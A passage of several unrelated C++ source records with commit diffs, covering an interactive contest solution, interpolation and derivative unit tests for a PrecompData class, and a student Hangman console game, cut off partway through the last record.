fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nstring C = \"\";\n\nbool que(int q) \/\/ (X\/q) が奇数なら true\n{\n  assert(q % 2 == 1);\n  cout << \"? \" << q << endl;\n  string s;\n  cin >> s;\n  return (s != C);\n}\n\nint main()\n{\n  cout << \"? 2\" << endl;\n  cin >> C;\n  int lb = 1;\n  int ub = 1000000007;\n  while (ub - lb > 2)\n  {\n    int t = (lb + ub) \/ 2;\n    if (t % 2 == 0)\n    {\n      t++;\n    }\n    if (que(t))\n    {\n      lb = t;\n    }\n    else\n    {\n      ub = t;\n    }\n  }\n  if (C == \"even\")\n  {\n    cout << \"! \" << lb + 1 << endl;\n  }\n  else\n  {\n    cout << \"! \" << lb << endl;\n  }\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\/ PrecompData_test.cpp\r\n\r\n\/** Test the PrecompData class\r\n *\/\r\n\r\n#include \"PrecompData.h\"\r\n#include \"PrecompData_test.h\"\r\n#include <cmath>\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nfloat TestFunc(float x) {\r\n\treturn sin(x);\r\n}\r\n\r\nfloat TestFuncLin(float x) {            \/\/   y = 2x\r\n    return 2*x;\r\n}\r\n\r\nfloat TestFuncNonLin1(float x) {        \/\/   y = |x|\r\n    return fabs(x);\r\n}\r\n\r\nfloat TestFuncNonLin2(float x) {        \/\/   y = 1\/(|x-2| + 0.1)\r\n    return 1\/(fabs(x - 2.0) + 0.1);\r\n}\r\n\r\n\r\nnamespace Utilities {\r\n\r\nPrecompData_test::PrecompData_test()\r\n{\r\n\tusing namespace Utilities;\r\n\r\n    const int nValues = 10;\r\n\r\n\r\n\t{ \/\/ Test 1 - Interpolation\r\n        cout << \"\\n\\nTest 1: Zero-degree (nearest-neighbor\/point sampling\/Voronoi) interpolation:\" << endl;\r\n\t\tconst string funcName = \"TestFunc\";\r\n\t\tPrecompData<float> itp(funcName);\r\n\t\titp.SetComment(\"TestFunc approximation\");\r\n\t\tconst float x0 = 0.0f, x1 = 6.28f;\r\n\t\tconst float step = 0.5*(x1 - x0)\/nValues;\r\n\t\titp.Set(&TestFunc, x0, x1, nValues);\r\n\t\tfloat x = x0;\r\n        float err = 0.0;\r\n\t\tfor(int i = 0; i < nValues; ++i) {\r\n            const float y = itp(x);\r\n            err += fabs(TestFunc(x) - y);\r\n\t\t\tcout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n\t\t\tx += step;\r\n\t\t}\r\n        cout << \"Total error = \" << err << endl;\r\n\t}\r\n\r\n    { \/\/ Test 2 - Interpolation\r\n        cout << \"\\n\\nTest 2: Linear interpolation:\" << endl;\r\n        const string funcName = \"TestFunc\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        const float step = 0.5*(x1 - x0)\/nValues;\r\n        itp.Set(&TestFunc, x0, x1, nValues);\r\n        float x = x0;\r\n        float err = 0.0;\r\n        itp.Interpolation(1);\r\n        cout << \"Interpolation: \" << itp.Interpolation() << endl;\r\n        for(int i = 0; i < nValues; ++i) {\r\n            const float y = itp.Interpolate(x);\r\n            err += fabs(TestFunc(x) - y);\r\n            cout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n            x += step;\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n\r\n    if(0) { \/\/ Test 3 - AutoSet:  y = 2x\r\n        cout << \"\\n\\nTest 3: Automatic irregular grid:    y = 2x\" << endl;\r\n        const string funcName = \"y = 2x\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncLin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    if(0) { \/\/ Test 4 - AutoSet:  y = 1\/(|x-2| + 0.1)\r\n        cout << \"\\n\\nTest 4: Automatic irregular grid:    y = 1\/(|x-2| + 0.1)\" << endl;\r\n        const string funcName = \"y = 1\/(|x-2| + 0.1)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncNonLin2, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    { \/\/ Test 5 - Derivatives\r\n        cout << \"\\n\\nTest 5: Derivatives\" << endl;\r\n        int nTests = 0, nFailed = 0;\r\n        const string funcName = \"Derivatives\";\r\n        float x1, y1, x2, y2, x3, y3, der1, der2, expRes;\r\n        PrecompData<float> test;\r\n\r\n        \/\/ First derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; expRes = 1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 2\" << endl;\r\n        }\r\n        x1 = 1.0; y1 = 0.0; x2 = 0.0; y2 = 1.0; expRes = -1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 2.0; y2 = 1.0; expRes = 0.5;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 4\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = -1.0; x2 = 1.0; y2 = 1.0; expRes = 2.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 5\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 6\" << endl;\r\n        }\r\n\r\n        \/\/ Second derivative\r\n\r\n        cout << \"Derivatives:  Number of tests = \" << nTests << \";  Number of failures = \" << nFailed << endl;\r\n    }\r\n}\r\n\r\n\r\n} \/\/ Utilities\r\n\r\n\r\nint main()\r\n{\r\n    using namespace Utilities;\r\n\r\n    PrecompData_test test;\r\n\r\n    return 0;\r\n}\r\n<commit_msg>- Test: second derivatives: failed.<commit_after>\/\/\/ PrecompData_test.cpp\r\n\r\n\/** Test the PrecompData class\r\n *\/\r\n\r\n#include \"PrecompData.h\"\r\n#include \"PrecompData_test.h\"\r\n#include <cmath>\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nfloat TestFunc(float x) {\r\n\treturn sin(x);\r\n}\r\n\r\nfloat TestFuncLin(float x) {            \/\/   y = 2x\r\n    return 2*x;\r\n}\r\n\r\nfloat TestFuncNonLin1(float x) {        \/\/   y = |x|\r\n    return fabs(x);\r\n}\r\n\r\nfloat TestFuncNonLin2(float x) {        \/\/   y = 1\/(|x-2| + 0.1)\r\n    return 1\/(fabs(x - 2.0) + 0.1);\r\n}\r\n\r\n\r\nnamespace Utilities {\r\n\r\nPrecompData_test::PrecompData_test()\r\n{\r\n\tusing namespace Utilities;\r\n\r\n    const int nValues = 10;\r\n\r\n\r\n\t{ \/\/ Test 1 - Interpolation\r\n        cout << \"\\n\\nTest 1: Zero-degree (nearest-neighbor\/point sampling\/Voronoi) interpolation:\" << endl;\r\n\t\tconst string funcName = \"TestFunc\";\r\n\t\tPrecompData<float> itp(funcName);\r\n\t\titp.SetComment(\"TestFunc approximation\");\r\n\t\tconst float x0 = 0.0f, x1 = 6.28f;\r\n\t\tconst float step = 0.5*(x1 - x0)\/nValues;\r\n\t\titp.Set(&TestFunc, x0, x1, nValues);\r\n\t\tfloat x = x0;\r\n        float err = 0.0;\r\n\t\tfor(int i = 0; i < nValues; ++i) {\r\n            const float y = itp(x);\r\n            err += fabs(TestFunc(x) - y);\r\n\t\t\tcout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n\t\t\tx += step;\r\n\t\t}\r\n        cout << \"Total error = \" << err << endl;\r\n\t}\r\n\r\n    { \/\/ Test 2 - Interpolation\r\n        cout << \"\\n\\nTest 2: Linear interpolation:\" << endl;\r\n        const string funcName = \"TestFunc\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        const float step = 0.5*(x1 - x0)\/nValues;\r\n        itp.Set(&TestFunc, x0, x1, nValues);\r\n        float x = x0;\r\n        float err = 0.0;\r\n        itp.Interpolation(1);\r\n        cout << \"Interpolation: \" << itp.Interpolation() << endl;\r\n        for(int i = 0; i < nValues; ++i) {\r\n            const float y = itp.Interpolate(x);\r\n            err += fabs(TestFunc(x) - y);\r\n            cout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n            x += step;\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n\r\n    if(0) { \/\/ Test 3 - AutoSet:  y = 2x\r\n        cout << \"\\n\\nTest 3: Automatic irregular grid:    y = 2x\" << endl;\r\n        const string funcName = \"y = 2x\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncLin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    if(0) { \/\/ Test 4 - AutoSet:  y = 1\/(|x-2| + 0.1)\r\n        cout << \"\\n\\nTest 4: Automatic irregular grid:    y = 1\/(|x-2| + 0.1)\" << endl;\r\n        const string funcName = \"y = 1\/(|x-2| + 0.1)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncNonLin2, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    { \/\/ Test 5 - Derivatives\r\n        cout << \"\\n\\nTest 5: Derivatives\" << endl;\r\n        int nTests = 0, nFailed = 0;\r\n        const string funcName = \"Derivatives\";\r\n        float x1, y1, x2, y2, x3, y3, der1, der2, expRes;\r\n        PrecompData<float> test;\r\n\r\n        \/\/ First derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; expRes = 1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 2\" << endl;\r\n        }\r\n        x1 = 1.0; y1 = 0.0; x2 = 0.0; y2 = 1.0; expRes = -1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 2.0; y2 = 1.0; expRes = 0.5;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 4\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = -1.0; x2 = 1.0; y2 = 1.0; expRes = 2.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 5\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 6\" << endl;\r\n        }\r\n\r\n        \/\/ Second derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; x3 = 2.0; y3 = 0.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 1.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 2\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 2.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 4.0; expRes = 2.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 4: Result = \" << der2 << \"; Expected = \" << expRes << endl;\r\n        }\r\n\r\n        cout << \"Derivatives:  Number of tests = \" << nTests << \";  Number of failures = \" << nFailed << endl;\r\n    }\r\n}\r\n\r\n\r\n} \/\/ Utilities\r\n\r\n\r\nint main()\r\n{\r\n    using namespace Utilities;\r\n\r\n    PrecompData_test test;\r\n\r\n    return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************\nCOSC 501\nElliott Plack\n14 NOV 2013                            Due date: 30 NOV 2013\n\nProblem:\n\tWrite a program that plays the game of HANGMAN(guessing a\n\tmystery word).  Read a word to be guessed from a file into\n\tsuccessive elements of the array WORD. The player must\n\tguess the letters belonging to WORD. A single guessing\n\tsession should be terminated when either all letters have\n\tbeen guessed correctly (player wins) or a specified number\n\tof incorrect guesses have been made (computer wins). A run\n\tmust consist of at least two sessions: one player wins and\n\tone computer wins. The player decides whether or not to\n\tstart a new session. \n\n***************************************************************\/\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <time.h> \/\/ for random\nusing namespace std;\n\nifstream inFile;     \/\/ define ifstream to inFile command\n\nvoid readString();\nvoid initialize(unsigned long); \/\/ function to initalize everything\nvoid guess(); \nvoid hangmanDraw(int, int, string);\n\n\/\/ global variables\nstring word; \/\/ word to be read from file (the solution)\nstring solution; \/\/ solution (guessed by user)\nunsigned long wordLength; \/\/ length of word\n\n\/\/ functions\n\nint main() \/\/ reads in the file and sets the functions in motion\n{\n\tchar repeat = 'Y'; \/\/ test if user wants to repeat\n\twhile (repeat == 'Y' || repeat == 'y')\n\t{\n\t\treadString(); \/\/ reads the file and stores variables\n\t\tinitialize(wordLength); \/\/ sends length of word to initialize function\n\t\tguess(); \/\/ game logic\n\n\t\tcout << \"Do you want to play again? Y\/N: \";\n\t\tcin >> repeat;\n\t}\n\treturn 0;\n}\n\nvoid readString()\n{\n\tint random20 = 0; \/\/ random number\n\tstring dictionary[20]; \/\/ 20 words to load from file\n\n\tinFile.open(\"Words4Hangman.txt\"); \/\/ open input file\n\n\twhile (inFile.good())\n\t{\n\t\tfor (int i = 0; i < 20; i++)\n\t\t{\n\t\t\tinFile >> dictionary[i]; \/\/ load file and fill dict\n\t\t}\n\t}\n\n\tinFile.close(); \/\/ close the file\n\n\tsrand((int)time(NULL)); \/\/ initialize random seed\n\trandom20 = (rand() % 20); \/\/ set random to 20 +-\n\n\tword = dictionary[rand() % 20]; \/\/ set word = to a random letter in the dictionary\n\t\/\/cout << word << endl; \/\/ cheater! (testing)\n\twordLength = word.size(); \/\/ size (length) of the string\n}\n\nvoid initialize(unsigned long wordLength)\n{\n\tsolution.assign(wordLength, '*'); \/\/ fills up the solution string (an array) with as many *s as the word length\n}\n\nvoid guess()\n{\n\tchar guessLetter = ' '; \/\/ letter to guess\n\tint winning = 0, goodGuess = 0; \/\/ variable to check if the game is won or the guess is good\n\tint guessesCounter = 7; \/\/ hangman countdown\n\n\thangmanDraw(guessesCounter, winning, solution); \/\/ show blank\n\n\twhile ((guessesCounter > 0) && (winning == 0))\n\t{\n\t\t\n\t\tcout << \"Guess a letter: \";\n\t\tcin >> guessLetter;\n\t\tguessLetter = toupper(guessLetter); \/\/ make guess uppercase\n\n\t\tfor (unsigned long i = 0; i < wordLength; i++) \/\/ loop through word looking for guess\n\t\t{\n\t\t\tif (guessLetter == word[i])\n\t\t\t{\n\t\t\t\t\/\/cout << \"char \" << (i + 1) \/* +1 because first is 0*\/ << \" is \" << guessLetter << endl; \/\/ outputs that guess was correct\n\t\t\t\tsolution[i] = guessLetter; \/\/ set the i char in solution to guessLetter\n\t\t\t\tgoodGuess = 1; \/\/ sets the flag goodGuess = 1 for the logic below\n\t\t\t}\n\t\t}\n\n\t\tif (solution == word) \/\/ thus victory\n\t\t{\n\t\t\twinning = 1; \/\/ you won\n\t\t\thangmanDraw(guessesCounter, winning, solution);\n\t\t}\n\t\telse if (goodGuess == 1)\n\t\t{\n\t\t\tgoodGuess = 0; \/\/ clear flag for next run\n\t\t\thangmanDraw(guessesCounter, winning, solution);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tguessesCounter--; \/\/ decrement guess\n\t\t\thangmanDraw(guessesCounter, winning, solution);\n\t\t}\n\t}\n}\n\nvoid hangmanDraw(int guessNumber, int winningResult, string solutionDisplay)\n{\n\t\/\/ set up strings for game\n\tstring hD01 = \"    \/\\\\  \/\\\\__ _ _ __   __ _ _ __ ___   __ _ _ __  \\n\"; \/\/ have to escape out backslash\n\tstring hD02 = \"   \/ \/_\/ \/ _` | '_ \\\\ \/ _` | '_ ` _ \\\\ \/ _` | '_ \\\\ \\n\"; \/\/ have to escape out backslash\n\tstring hD03 = \"  \/ __  \/ (_| | | | | (_| | | | | | | (_| | | | |\\n\"; \n\tstring hD04 = \"  \\\\\/ \/_\/ \\\\__,_|_| |_|\\\\__, |_| |_| |_|\\\\__,_|_| |_|\\n\"; \/\/ have to escape out backslash\n\tstring hD05 = \"                     |___\/                       \\n\";\n\tstring hD06 = \"                            by Elliott Plack     \\n\";\n\tstring hD07 = \"                                                 \\n\";\n\tstring hD08 = \"      _______                                    \\n\";\n\tstring hD09 = \"     |\/      |          ______________________   \\n\";\n\tstring hD10 = \"     |                 |                      |  \\n\";\n\tstring hD11 = \"     |                 | Your Progress        |  \\n\";\n\tstring hD12 = \"     |                 |                      |  \\n\";\n\tstring hD13 = \"     |                 |                      |  \\n\";\n\tstring hD14 = \"     |                 |                      |  \\n\";\n\tstring hD15 = \"  ___|___              |______________________|  \\n\";\n\n\t\/\/ set up body parts\n\tstring head = \"(_)\";\n\tstring neck = \"|\";\n\tstring leftArm = \"\\\\\";\n\tstring rightArm = \"\/\";\n\tstring torso = \"|\";\n\tstring leftLeg = \"\/\";\n\tstring rightLeg = \"\\\\\";\n\tconst char space = ' ';\n\tstring youWon = \"YOU WON !!\";\n\tstring youLose = \"YOU DIED !\";\n\n\tsystem(\"CLS\"); \/\/ clear the input screen (Windows only)\n\n\tif (guessNumber <= 7 && winningResult == 0)\n\t{\n\t\tswitch (guessNumber)\n\t\t{\n\t\tcase 7:\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 1, leftArm);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 2, leftArm + neck);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(12, 2, leftLeg + space);\n\t\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tcase 0:\n\t\t\thD10 = hD10.replace(12, 3, head);\n\t\t\thD11 = hD11.replace(12, 3, leftArm + neck + rightArm);\n\t\t\thD12 = hD12.replace(13, 1, torso);\n\t\t\thD13 = hD13.replace(12, 3, leftLeg + space + rightLeg);\n\t\t\thD13 = hD13.replace(25, wordLength, word); \/\/ show the full word\n\t\t\thD14 = hD14.replace(31, 10, youLose);\n\t\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcout << \"\\aError!\";\n\t\t\tbreak;\n\t\t}\n\t}\n\telse if (winningResult == 1)\n\t{\n\t\thD13 = hD13.replace(25, wordLength, solutionDisplay);\n\t\thD14 = hD14.replace(31, 10, youWon);\n\t\tcout << hD01 << hD02 << hD03 << hD04 << hD05 << hD06 << hD07\n\t\t\t<< hD08 << hD09 << hD10 << hD11 << hD12 << hD13 << hD14 << hD15;\n\t}\n}<commit_msg>added functionality to display guesses<commit_after>\/**************************************************************\nCOSC 501\nElliott Plack\n14 NOV 2013                            Due date: 30 NOV 2013\n\nProblem:\n\tWrite a program that plays the game of HANGMAN(guessing a\n\tmystery word).  Read a word to be guessed from a file into\n\tsuccessive elements of the array WORD. The player must\n\tguess the letters belonging to WORD. A single guessing\n\tsession should be terminated when either all letters have\n\tbeen guessed correctly (player wins) or a specified number\n\tof incorrect guesses have been made (computer wins). A run\n\tmust consist of at least two sessions: one player wins and\n\tone computer wins. The player decides whether or not to\n\tstart a new session. \n\n***************************************************************\/\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <time.h> \/\/ for random\nusing namespace std;\n\nifstream inFile;     \/\/ define ifstream to inFile command\n\nvoid readString();\nvoid initialize(unsigned long); \/\/ function to initalize everything\nvoid guess(); \nvoid hangmanDraw(int, int, string, char, int);\n\n\/\/ global variables\nstring word; \/\/ word to be read from file (the solution)\nstring solution; \/\/ solution (guessed by user)\nstring hD17 = \"  Your guesses:                                  \\n\"; \/\/ string to store guesses\nunsigned long wordLength; \/\/ length of word\n\n\/\/ functions\n\nint main() \/\/ reads in the file and sets the functions in motion\n{\n\tchar repeat = 'Y'; \/\/ test if user wants to repeat\n\twhile (repeat == 'Y' || repeat == 'y')\n\t{\n\t\treadString(); \/\/ reads the file and stores variables\n\t\tinitialize(wordLength); \/\/ sends length of word to initialize function\n\t\tguess(); \/\/ game logic\n\n\t\tcout << \"Do you want to play again? Y\/N: \";\n\t\tcin >> repeat;\n\t}\n\treturn 0;\n}\n\nvoid readString()\n{\n\tint random20 = 0; \/\/ random number\n\tstring dictionary[20]; \/\/ 20 words to load from file\n\n\tinFile.open(\"Words4Hangman.txt\"); \/\/ open input file\n\n\twhile (inFile.good())\n\t{\n\t\tfor (int i = 0; i < 20; i++)\n\t\t{\n\t\t\tinFile >> dictionary[i]; \/\/ load file and fill dict\n\t\t}\n\t}\n\n\tinFile.close(); \/\/ close the file\n\n\tsrand((int)time(NULL)); \/\/ initialize random seed\n\trandom20 = (rand() % 20); \/\/ set random to 20 +-\n\n\tword = dictionary[rand() % 20]; \/\/ set word = to a random letter in the dictionary\n\t\/\/cout << word << endl; \/\/ cheater! (testing)\n\twordLength = word.size(); \/\/ size (length) of the string\n}\n\nvoid initialize(unsigned long wordLength)\n{\n\tsolution.assign(wordLength, '*'); \/\/ fills up the solution string (an array) with as many *s as the word length\n}\n\nvoid guess()\n{\n\tchar guessLetter = ' '; \/\/ letter to guess\n\tint winning = 0, goodGuess = 0; \/\/ variable to check if the game is won or the guess is good\n\tint guessesCounter = 7; \/\/ hangman countdown\n\n\thangmanDraw(guessesCounter, winning, solution, guessLetter, goodGuess); \/\/ show 